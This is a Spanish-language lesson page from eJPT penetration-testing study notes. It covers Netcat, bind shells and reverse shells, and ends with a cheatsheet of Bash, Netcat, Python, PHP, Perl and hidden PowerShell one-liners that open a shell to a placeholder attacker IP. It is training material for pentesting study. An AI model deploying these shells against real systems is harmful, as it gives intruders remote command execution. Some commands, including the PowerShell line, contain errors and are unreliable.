eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Netcat Fundamentals
  • Netcat
  • Demo: Netcat Fundamentals
  • Quiz: Netcat Fundamentals
  • Bind Shells
  • Demo: Bind Shells
  • Quiz: Bind Shells
  • Reverse Shells
  • Demo: Reverse Shells
  • Quiz: Reverse Shells
  • Reverse Shell Cheatsheet
  • Demo: Reverse Shell Cheatsheet
  • Quiz: Reverse Shell Cheatsheet
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: Exploitation

Shells

Bind & Reverse Shells

Netcat Fundamentals

Netcat

Netcat (también conocido como TCP/IP Swiss Army Knife) es una utilidad de red que se utiliza para leer y escribir datos en conexiones de red mediante TCP o UDP.

Netcat está disponible para sistemas operativos *NIX y Windows, lo que lo hace extremadamente útil para interacciones entre plataformas.

Netcat utiliza una arquitectura de comunicación cliente-servidor con dos modos:

  • Modo cliente: Netcat se puede utilizar en modo cliente para conectarse a cualquier puerto TCP/UDP, así como a un receptor Netcat (servidor).

  • Modo servidor: Netcat se puede utilizar para escuchar conexiones de clientes en un puerto específico.

Los evaluadores de penetración pueden utilizar Netcat para realizar las siguientes funciones:

  • Banner Grabbing

  • Port Scanning

  • Transferring Files

  • Bind/Reverse Shells

Demo: Netcat Fundamentals

Netcat, también conocido como nc, es una herramienta versátil que los evaluadores de penetración y administradores de sistemas utilizan para realizar diversas tareas de red, como banner grabbing, escaneo de puertos, transferencia de archivos y configuración de shells bind/reverse. A continuación, se presentan algunos fundamentos y comandos básicos de Netcat.

Ver la documentación de Netcat

Para obtener una lista rápida de las opciones y usos de Netcat, puede usar el siguiente comando:

nc --help

Para una documentación más detallada, se puede consultar el manual (man):

man nc

Aumentar la información de salida

El parámetro -v aumenta la verbosidad de la salida, proporcionando más información sobre el estado de las conexiones y otras acciones realizadas:

nc -v

Conexión a puertos UDP

Para establecer una conexión a puertos utilizando el protocolo UDP, se puede usar el parámetro -u:

nc -u <IP> <puerto>

Ver y enlazar una conexión

El parámetro -l permite a Netcat escuchar en el puerto especificado, actuando como un servidor:

nc -l <puerto>

Deshabilitar la resolución DNS

El parámetro -n deshabilita la resolución de nombres DNS, lo que puede acelerar las conexiones al no intentar resolver la dirección IP:

nc -n

Ejecución de comandos específicos

Netcat puede ejecutar comandos específicos al recibir una conexión, usando el parámetro -e:

nc -e <comando>

Conexión a un puerto específico

Para conectar Netcat a un puerto específico en una máquina, se pueden utilizar comandos como los siguientes:

nc 10.4.20.244 80
nc -nv 10.4.20.244 80

Obtener estado de la conexión

Es útil verificar el estado de los servicios en diferentes puertos. Aquí hay ejemplos con los puertos FTP y SSH:

nc -nv 10.4.20.244 21
(UNKNOWN) [10.4.20.244] 21 (ftp) open
nc -nv 10.4.20.244 22
(UNKNOWN) [10.4.20.244] 22 (ssh) : Connection refused

Conexión UDP a un puerto específico

Para realizar conexiones a puertos específicos usando UDP, se utiliza el parámetro -u junto con la opción de no resolver nombres DNS:

nc -nvu 10.4.20.244 445

Transferencia del Archivo NC

Netcat ya viene pre-empaquetado en Kali . Aquí se muestra un ejemplo para el envio del archivo nc.exe de Kali Linux a Windows.

Kali Linux

En Kali, se debe de identificar el paquete de nc.exe y posterior a ellos se puede utilizar uno de los metodos de transferencia como lo es http por lo cual puede configurar un servidor HTTP simple:

ls -al /usr/share/windows-binaries/
cd /usr/share/windows-binaries/
python -m SimpleHTTPServer 80

Windows

En Windows, se puede descargar nc.exe utilizando el comando certutil y luego ver la ayuda de Netcat:

certutil -urlcache -f http://<IP>/nc.exe nc.exe
nc.exe --help

Configurar una conexión cliente/servidor

Para configurar una conexión de tipo cliente/servidor, puede hacer lo siguiente:

Kali Linux como servidor

nc -nvlp 1234

Windows como cliente

nc.exe -nv <IP> 1234

Sentido inverso

También puede configurar una conexión inversa, donde el cliente se convierte en servidor y viceversa:

Windows como servidor

nc.exe -nvlp 1234

Kali Linux como cliente

nc -nv 10.4.20.244 1234

Configuración de un oyente UDP

Configurar un oyente UDP es similar a configurar uno TCP, pero considere que UDP es un protocolo sin conexión y no permite la transmisión de texto de manera confiable:

Conexión UDP
# Windows
nc.exe -nvu <IP> 1234
# Kali
nc -nvlup 1234
# En UDP no se puede enviar texto debido a la funcionalidad del protocolo.

Transferencia de archivos

Netcat también se puede utilizar para transferir archivos entre sistemas. Aquí hay un ejemplo de cómo transferir un archivo de Kali Linux a Windows y viceversa:

Ejemplo de Kali a Windows

Primero, cree un archivo para transferir:

vim test.txt

En el sistema Windows, prepare el oyente para recibir el archivo:

nc.exe -nvlp 1234 > test.txt

En Kali Linux, envíe el archivo:

nc -nv 10.4.20.244 1234 < test.txt

Ejemplo de Windows a Kali

Crear un archivo en Windows

test.txt

En Kali Linux, escuche para recibir el archivo:

nc -nvlp 1234 > test.txt

Enviar el archivo desde Windows a Kali:

nc.exe -nv 10.4.20.244 1234 < test.txt

Estos son solo algunos de los muchos usos de Netcat. La herramienta es increíblemente poderosa y flexible, permitiendo a los usuarios realizar una variedad de tareas de red con facilidad y eficiencia.

Quiz: Netcat Fundamentals

Bind Shells

Un shell de enlace es un tipo de shell remoto en el que el atacante se conecta directamente a un receptor en el sistema de destino, lo que permite la ejecución de comandos en el sistema de destino.

Se puede configurar un receptor Netcat para que ejecute un ejecutable específico como cmd.exe o /bin/bash cuando un cliente se conecta al receptor. Tener en cuenta que en windows podria ser un cmd.exe y powershell.exe y en linux podria ser un shell, /bin/bash, /bin/bash, etc.

Demo: Bind Shells

En esta demostración, configuraremos un shell de enlace utilizando Netcat tanto en sistemas Windows como en Linux.

Configuración en Windows

  1. Inicie Netcat en el sistema de destino:

    nc -nvlp 1234 -e cmd.exe

    Esto abrirá un puerto de escucha (en este caso 1234) y ejecutará cmd.exe cuando se establezca una conexión.

  2. Conexión desde el sistema atacante:

    nc -nv [IP_del_objetivo] 1234

Configuración en Linux

  1. Inicie Netcat en el sistema de destino:

    nc -nvlp -p 1234 -c /bin/bash

    Esto abrirá un puerto de escucha (en este caso 1234) y ejecutará /bin/bash cuando se establezca una conexión.

  2. Conexión desde el sistema atacante:

    nc -nv [IP_del_objetivo] 1234

Estas configuraciones permiten al atacante ejecutar comandos de forma remota en el sistema de destino.

Quiz: Bind Shells

Reverse Shells

Un shell inverso es un tipo de shell remoto donde el objetivo se conecta directamente a un oyente en el sistema del atacante, lo que permite la ejecución de comandos en el sistema objetivo.

Demo: Reverse Shells

A continuación, se muestra un ejemplo de cómo iniciar un shell inverso utilizando netcat.

Paso 1: Configurar el Oyente en el Sistema del Atacante

En el sistema atacante, ejecute el siguiente comando para iniciar un oyente en el puerto 4444:

nc -lvnp 1234

Paso 2: Ejecutar el Shell Inverso en el Sistema Objetivo

En el sistema objetivo, ejecute el siguiente comando para conectarse al oyente del atacante:

nc -nv [IP_ATACANTE] 1234 -e /bin/bash
# El shell dependera el sistema operativo del objetivo, en caso de ser windows
# -e cmd.exe, como tambien puede ser powershell etc.

Una vez conectado, el atacante tendrá una shell remota en el sistema objetivo.

Quiz: Reverse Shells

Reverse Shell Cheatsheet

Un Reverse Shell Cheatsheet es una guía rápida con comandos y scripts utilizados para establecer una conexión inversa desde el sistema objetivo hacia el atacante. Esta técnica se utiliza en pruebas de seguridad y pentesting para obtener acceso remoto al sistema objetivo. Utilizando diversos lenguajes de programación y herramientas, como Bash, Python, Netcat, entre otros, se puede crear una conexión remota que permite al atacante ejecutar comandos en el sistema comprometido.

Bash

bash -i >& /dev/tcp/[IP_ATACANTE]/1234 0>&1

Netcat

nc -e /bin/sh [IP_ATACANTE] 1234

Python

python -c 'import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("[IP_ATACANTE]",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")'

PHP

php -r '$sock=fsockopen("[IP_ATACANTE]",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl

perl -e 'use Socket;$i="[IP_ATACANTE]";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IP_ATACANTE]",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

Demo: Reverse Shell Cheatsheet

Recursos

Quiz: Reverse Shell Cheatsheet

PreviousFixing ExploitsNextFrameworks

Last updated 8 months ago

PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThingsGitHub
Online - Reverse Shell Generator
Logo
Logo